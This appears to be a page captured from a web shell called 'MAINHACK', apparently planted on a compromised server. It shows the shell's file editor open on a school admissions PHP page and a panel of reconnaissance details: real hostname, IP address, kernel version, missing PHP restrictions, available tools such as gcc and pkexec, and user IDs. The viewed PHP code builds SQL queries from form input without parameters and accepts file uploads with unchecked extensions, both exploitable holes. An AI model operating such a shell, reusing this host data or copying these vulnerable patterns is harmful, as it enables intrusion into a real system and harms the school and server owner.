[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: admission-setup.php
<?php //error_reporting(0); include("functions.php"); if(!isset($_SESSION['dbmail_Xw211qAAsq4'])){ header("location:../auth-login"); } else { $s_code = $_SESSION['s_code_Xw2119904']; $uname = $_SESSION['name_Xw2119904']; $stmt = $con->prepare("SELECT * FROM schools WHERE user_name = ? AND school_code = ?"); $stmt->execute(array($uname, $s_code)); $userstatus = $stmt->fetchAll(); // Initialize $namee to prevent potential errors $namee = null; foreach ($userstatus as $sta) { $namee = $sta['user_name']; $userid = $sta['id']; $school_name = $sta['school_name']; } $stmt = $con->prepare("Select * from schools where school_code = ?"); $stmt->execute(array($s_code)); $row = $stmt->fetch(); $logo = $row['logo']; if(empty($logo)){ header("Location:complete-process"); } else { $message = ""; if(isset($_POST['submit'])){ $school_name = test_input($_POST['school_name']); $school_location = test_input($_POST['school_location']); $school_email = test_input($_POST['school_email']); $school_head = test_input($_POST['school_head']); $head_title = test_input($_POST['head_title']); $phone_num = test_input($_POST['phone_num']); $short_code1 = test_input($_POST['short_code']); $school_type = test_input($_POST['school_type']); $profile = $_FILES['profile']; $originalFileName = $_FILES['profile']['name']; $fileType = $_FILES['profile']['type']; $fileTmpName1 = $_FILES['profile']['tmp_name']; $fileSize = $_FILES['profile']['size']; // Generate a random name for the file to avoid collisions $randomName1 = bin2hex(random_bytes(8)); // Generates a random 16-character string $fileExtension1 = pathinfo($originalFileName, PATHINFO_EXTENSION); $newFileName1 = $randomName1 . '.' . $fileExtension1; // Define the folder to save the uploaded file $uploadFolder = '../admin/uploads/'; $destination1 = $uploadFolder . $newFileName1; move_uploaded_file($fileTmpName1, $destination1); $update = mysqli_query($new,"UPDATE schools SET school_name = '$school_name', school_location = '$school_location',school_email = '$school_email',head_title = '$head_title', school_head = '$school_head',phone_num = '$phone_num',logo = '$destination1',short_code = '$short_code1',school_type = '$school_type' WHERE school_code = '$s_code'"); if($update == true){ echo "<script> document.addEventListener('DOMContentLoaded', function() { Swal.fire({ title: 'Success!', text: 'School information is updated successfully.', icon: 'success', confirmButtonText: 'OK' }); }); </script>"; } } if(isset($_POST['addmissions'])){ $sms_id = ""; $admission_year1 = test_input($_POST['admission_year']); $re_open_time = test_input($_POST['re_open_time']); $re_opening_date = test_input($_POST['re_opening_date']); $academic_year = test_input($_POST['academic_year']); $onlinepayment = ""; $service_charge = ""; $allow_file = ""; $admission_status = test_input($_POST['admission_status']); $announcement = test_input($_POST['announcement']); $admin_infoo = mysqli_query($new,"SELECT * FROM admission_info WHERE s_code = '$s_code'"); if(mysqli_num_rows($admin_infoo) < 1){ $insert = mysqli_query($new,"INSERT INTO admission_info (s_code,sms_id,admission_year,re_open_time,re_opening_date,academic_year,onlinepayment,service_charge,allow_file,admission_status,announcement) values ('$s_code','$sms_id','$admission_year1','$re_open_time','$re_opening_date','$academic_year','$onlinepayment','$service_charge','$allow_file','$admission_status','$announcement')"); echo "<script> document.addEventListener('DOMContentLoaded', function() { Swal.fire({ title: 'Success!', text: 'Admission information added successfully.', icon: 'success', confirmButtonText: 'OK' }); }); </script>"; } else { $update = mysqli_query($new,"UPDATE admission_info SET sms_id = '$sms_id', admission_year = '$admission_year1',re_open_time = '$re_open_time',re_opening_date = '$re_opening_date', academic_year = '$academic_year',onlinepayment = '$onlinepayment',service_charge = '$service_charge',allow_file='$allow_file',admission_status='$admission_status',announcement='$announcement' WHERE s_code = '$s_code'"); echo "<script> document.addEventListener('DOMContentLoaded', function() { Swal.fire({ title: 'Success!', text: 'Admission updated successfully.', icon: 'success', confirmButtonText: 'OK' }); }); </script>"; } } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>Admission setup | Admission setup </title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta content="eliosof" name="author" /> <!-- App favicon --> <!-- <link rel="shortcut icon" href="assets/images/favicon.ico"> --> <!-- preloader css --> <link rel="stylesheet" href="assets/css/preloader.min.css" type="text/css" /> <!-- Bootstrap Css --> <link href="assets/css/bootstrap.min.css" id="bootstrap-style" rel="stylesheet" type="text/css" /> <!-- Icons Css --> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <!-- App Css--> <link href="assets/css/app.min.css" id="app-style" rel="stylesheet" type="text/css" /> <link href="assets/libs/sweetalert2/sweetalert2.min.css" rel="stylesheet" type="text/css" /> </head> <body> <!-- <body data-layout="horizontal"> --> <!-- Begin page --> <div id="layout-wrapper"> <?php include("includes/header.php");?> <?php include("includes/sidebar.php");?> <div class="main-content"> <div class="page-content"> <div class="container-fluid"> <!-- start page title --> <div class="row"> <div class="col-12"> <div class="page-title-box d-sm-flex align-items-center justify-content-between"> <h4 class="mb-sm-0 font-size-18">System Configuration</h4> <div class="page-title-right"> <ol class="breadcrumb m-0"> <li class="breadcrumb-item"><a href="javascript: void(0);">Home</a></li> <li class="breadcrumb-item active">System Configuration</li> </ol> </div> </div> </div> </div> <!-- end page title --> <div class="row"> <center> <div class="col-xl-8"> <div class="card"> <div class="card-header"> <div class="card-body"> <div class="d-flex flex-wrap gap-2"> <?php if($namee != "Admin"){?> <?php $permission_name = 'admission_setup'; if (has_permission($userid, $permission_name,'can_edit', $new)) { echo ' <button type="button" class="btn btn-primary btn-rounded waves-effect waves-light" data-bs-toggle="modal" data-bs-target=".bs-example-modal-lg">Edit School Details</button>'; } else { echo '<button type="button" class="btn btn-primary btn-rounded waves-effect waves-light">Edit School Details</button>'; } ?> <?php } else {?> <button type="button" class="btn btn-primary btn-rounded waves-effect waves-light" data-bs-toggle="modal" data-bs-target=".bs-example-modal-lg">Edit School Details</button> <?php }?> <?php if($namee != "Admin"){?> <?php $permission_name = 'admission_setup'; if (has_permission($userid, $permission_name,'can_edit', $new)) { echo '<button type="button" class="btn btn-success btn-rounded waves-effect waves-light" data-bs-toggle="modal" data-bs-target=".bs-example-modal-lgset">Edit Admission Details</button>'; } else { echo '<button type="button" class="btn btn-primary btn-rounded waves-effect waves-light">Edit Admission</button>'; } ?> <?php } else {?> <button type="button" class="btn btn-success btn-rounded waves-effect waves-light" data-bs-toggle="modal" data-bs-target=".bs-example-modal-lgset">Edit Admission Details</button> <?php }?> <!-- <button type="button" class="btn btn-success btn-rounded waves-effect waves-light">Edit Student dashboard details</button> --> </div> </div><!-- end card-body --> </div><!-- end card --> </div><!-- end col --> </div><!-- end row --> </center> <!-- end row --> </div> <!-- container-fluid --> </div> <!-- End Page-content --> <?php include("includes/footer.php");?> </div> <!-- end main content--> </div> <!-- END layout-wrapper --> <?php $school = mysqli_query($new,"SELECT * FROM schools WHERE school_code = '$s_code'"); $fetchdata = mysqli_fetch_array($school); $name = $fetchdata['school_name']; $email = $fetchdata['school_email']; $address = $fetchdata['school_location']; $phone = $fetchdata['phone_num']; $title = $fetchdata['head_title']; $head = $fetchdata['school_head']; $short = $fetchdata['short_code']; $schtype = $fetchdata['school_type']; ?> <div class="modal fade bs-example-modal-lg" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="myLargeModalLabel">Edit School Details</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <!-- Centering the form and limiting its width --> <div class="container"> <div class="row justify-content-center"> <div class="col-md-8 col-lg-8"> <!-- Adjust the column size as needed --> <form method="POST" enctype="multipart/form-data"> <div class="mb-4"> <label for="exampleInputEmail1" class="form-label">Name of School</label> <input type="text" class="form-control" name="school_name" value="<?php echo $name;?>" > </div> <div class="mb-4"> <label for="exampleInputPassword1" class="form-label">School type (<?php echo $schtype;?>)</label> <select class="form-control" name="school_type"> <option value="<?php echo $schtype;?>">Select</option> <option value="GES">GES</option> <option value="TVET">TVET</option> </select> </div> <div class="mb-4"> <label for="exampleInputEmail1" class="form-label">School short(Student IDs) </label> <input type="text" class="form-control" name="short_code" value="<?php echo $short;?>" > </div> <div class="mb-4"> <label for="exampleInputEmail1" class="form-label">Address</label> <input type="text" class="form-control" name="school_location" value="<?php echo $address;?>"> </div> <div class="mb-4"> <label for="exampleInputEmail1" class="form-label">Email Address</label> <input type="text" class="form-control" name="school_email" value="<?php echo $email;?>"> </div> <div class="mb-4"> <label for="exampleInputEmail1" class="form-label">Name of Head of School</label> <input type="text" class="form-control" name="school_head" value="<?php echo $head;?>"> </div> <div class="mb-4"> <label for="exampleInputEmail1" class="form-label">Title of Head eg. Headmaster</label> <input type="text" class="form-control" name="head_title" value="<?php echo $title;?>"> </div> <div class="mb-4"> <label for="exampleInputPassword1" class="form-label">Help Desk Contact No</label> <input type="text" class="form-control" name="phone_num" value="<?php echo $phone;?>"> </div> <div class="mb-4"> <label for="exampleInputPassword1" class="form-label">School logo</label> <input type="file" class="form-control" accept=".png,.jpg,.jpeg" required name="profile"> </div> <button type="submit" name="submit" class="btn btn-primary">Submit</button> </form> </div> </div> </div> </div> </div> </div> </div> <?php $admin_info = mysqli_query($new,"SELECT * FROM admission_info WHERE s_code = '$s_code'"); $fetchadmin = mysqli_fetch_array($admin_info); $sms_id = $fetchadmin['sms_id']; $admission_year1 = $fetchadmin['admission_year']; $re_open_time = $fetchadmin['re_open_time']; $re_opening_date = $fetchadmin['re_opening_date']; $academic_year = $fetchadmin['academic_year']; $onlinepayment = $fetchadmin['onlinepayment']; $service_charge = $fetchadmin['service_charge']; $allow_file = $fetchadmin['allow_file']; $admission_status = $fetchadmin['admission_status']; $announcement = $fetchadmin['announcement']; ?> <div class="modal fade bs-example-modal-lgset" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title" id="myLargeModalLabel">Edit Adminission Details</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <!-- Centering the form and limiting its width --> <div class="container"> <div class="row justify-content-center"> <div class="col-md-8 col-lg-8"> <!-- Adjust the column size as needed --> <form method="POST"> <?php echo csrf_token_tag(); ?> <!-- <div class="mb-4"> <label for="exampleInputEmail1" class="form-label">SMS Sender ID</label> <input type="text" class="form-control" name="sms_id" value="<?php echo $sms_id;?>" > </div> --> <div class="mb-4"> <label for="exampleInputEmail1" class="form-label">Admission Year</label> <select class="form-control" name="admission_year"> <option value="<?php echo $admission_year1;?>">Select</option> <option value="2023">2023</option> <option value="2024">2024</option> <option value="2025">2025</option> <option value="2026">2026</option> </select> </div> <div class="mb-4"> <label for="exampleInputEmail1" class="form-label">Re-Opening Date</label> <input type="date" class="form-control" name="re_opening_date" value="<?php echo $re_opening_date;?>"> </div> <div class="mb-4"> <label for="exampleInputEmail1" class="form-label">Re-opening Time</label> <input type="time" class="form-control" name="re_open_time" value="<?php echo $re_open_time;?>"> </div> <div class="mb-4"> <label for="exampleInputPassword1" class="form-label">Academic Year</label> <select class="form-control" name="academic_year"> <option value="<?php echo $academic_year;?>">Select</option> <option value="2023/2024">2023/2024</option> <option value="2024/2025">2024/2025</option> <option value="2025/2026">2025/2026</option> <option value="2026/2027">2026/2027</option> </select> </div> <!-- <div class="mb-4"> <label for="exampleInputPassword1" class="form-label">Accept Online Payment</label> <select class="form-control" name="onlinepayment"> <option value="<?php echo $onlinepayment;?>">Select</option> <option value="Yes">Yes</option> <option value="No">No</option> </select> </div> --> <!-- <div class="mb-4"> <label for="exampleInputPassword1" class="form-label">Service Charge</label> <input type="text" class="form-control" name="service_charge" value="<?php echo $service_charge;?>"> </div> --> <!-- <div class="mb-4"> <label for="exampleInputPassword1" class="form-label">Allow Upload of Passport Pictures</label> <select class="form-control" name="allow_file"> <option value="<?php echo $allow_file;?>">Select</option> <option value="Yes">Yes</option> <option value="No">No</option> </select> </div> --> <div class="mb-4"> <label for="exampleInputPassword1" class="form-label">Admission Status</label> <select class="form-control" name="admission_status"> <option value="<?php echo $admission_status;?>">Select</option> <option value="OPENED">OPENED</option> <option value="CLOSED">CLOSED</option> </select> </div> <!-- <div class="mb-4"> <label for="exampleInputPassword1" class="form-label">Announcement</label> <textarea cols="5" class="form-control" name="annouce"><?php echo $announcement; ?></textarea> </div> --> <button type="submit" name="addmissions" class="btn btn-primary">Submit</button> </form> </div> </div> </div> </div> </div> </div> </div> <!-- Right Sidebar --> <div class="right-bar"> <div data-simplebar class="h-100"> <div class="rightbar-title d-flex align-items-center p-3"> <h5 class="m-0 me-2">Theme Customizer</h5> <a href="javascript:void(0);" class="right-bar-toggle ms-auto"> <i class="mdi mdi-close noti-icon"></i> </a> </div> <!-- Settings --> <hr class="m-0" /> <div class="p-4"> <h6 class="mb-3">Layout</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout" id="layout-vertical" value="vertical"> <label class="form-check-label" for="layout-vertical">Vertical</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout" id="layout-horizontal" value="horizontal"> <label class="form-check-label" for="layout-horizontal">Horizontal</label> </div> <h6 class="mt-4 mb-3 pt-2">Layout Mode</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-mode" id="layout-mode-light" value="light"> <label class="form-check-label" for="layout-mode-light">Light</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-mode" id="layout-mode-dark" value="dark"> <label class="form-check-label" for="layout-mode-dark">Dark</label> </div> <h6 class="mt-4 mb-3 pt-2">Layout Width</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-width" id="layout-width-fuild" value="fuild" onchange="document.body.setAttribute('data-layout-size', 'fluid')"> <label class="form-check-label" for="layout-width-fuild">Fluid</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-width" id="layout-width-boxed" value="boxed" onchange="document.body.setAttribute('data-layout-size', 'boxed')"> <label class="form-check-label" for="layout-width-boxed">Boxed</label> </div> <h6 class="mt-4 mb-3 pt-2">Layout Position</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-position" id="layout-position-fixed" value="fixed" onchange="document.body.setAttribute('data-layout-scrollable', 'false')"> <label class="form-check-label" for="layout-position-fixed">Fixed</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-position" id="layout-position-scrollable" value="scrollable" onchange="document.body.setAttribute('data-layout-scrollable', 'true')"> <label class="form-check-label" for="layout-position-scrollable">Scrollable</label> </div> <h6 class="mt-4 mb-3 pt-2">Topbar Color</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="topbar-color" id="topbar-color-light" value="light" onchange="document.body.setAttribute('data-topbar', 'light')"> <label class="form-check-label" for="topbar-color-light">Light</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="topbar-color" id="topbar-color-dark" value="dark" onchange="document.body.setAttribute('data-topbar', 'dark')"> <label class="form-check-label" for="topbar-color-dark">Dark</label> </div> <h6 class="mt-4 mb-3 pt-2 sidebar-setting">Sidebar Size</h6> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-size" id="sidebar-size-default" value="default" onchange="document.body.setAttribute('data-sidebar-size', 'lg')"> <label class="form-check-label" for="sidebar-size-default">Default</label> </div> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-size" id="sidebar-size-compact" value="compact" onchange="document.body.setAttribute('data-sidebar-size', 'md')"> <label class="form-check-label" for="sidebar-size-compact">Compact</label> </div> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-size" id="sidebar-size-small" value="small" onchange="document.body.setAttribute('data-sidebar-size', 'sm')"> <label class="form-check-label" for="sidebar-size-small">Small (Icon View)</label> </div> <h6 class="mt-4 mb-3 pt-2 sidebar-setting">Sidebar Color</h6> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-color" id="sidebar-color-light" value="light" onchange="document.body.setAttribute('data-sidebar', 'light')"> <label class="form-check-label" for="sidebar-color-light">Light</label> </div> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-color" id="sidebar-color-dark" value="dark" onchange="document.body.setAttribute('data-sidebar', 'dark')"> <label class="form-check-label" for="sidebar-color-dark">Dark</label> </div> <div class="form-check sidebar-setting"> <input class="form-check-input" type="radio" name="sidebar-color" id="sidebar-color-brand" value="brand" onchange="document.body.setAttribute('data-sidebar', 'brand')"> <label class="form-check-label" for="sidebar-color-brand">Brand</label> </div> <h6 class="mt-4 mb-3 pt-2">Direction</h6> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-direction" id="layout-direction-ltr" value="ltr"> <label class="form-check-label" for="layout-direction-ltr">LTR</label> </div> <div class="form-check form-check-inline"> <input class="form-check-input" type="radio" name="layout-direction" id="layout-direction-rtl" value="rtl"> <label class="form-check-label" for="layout-direction-rtl">RTL</label> </div> </div> </div> <!-- end slimscroll-menu--> </div> <!-- /Right-bar --> <!-- Right bar overlay--> <div class="rightbar-overlay"></div> <!-- JAVASCRIPT --> <script src="assets/libs/jquery/jquery.min.js"></script> <script src="assets/libs/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="assets/libs/metismenu/metisMenu.min.js"></script> <script src="assets/libs/simplebar/simplebar.min.js"></script> <script src="assets/libs/node-waves/waves.min.js"></script> <script src="assets/libs/feather-icons/feather.min.js"></script> <!-- pace js --> <script src="assets/libs/pace-js/pace.min.js"></script> <script src="assets/libs/sweetalert2/sweetalert2.min.js"></script> <script src="assets/js/app.js"></script> </body> </html> <?php } }?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.76 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002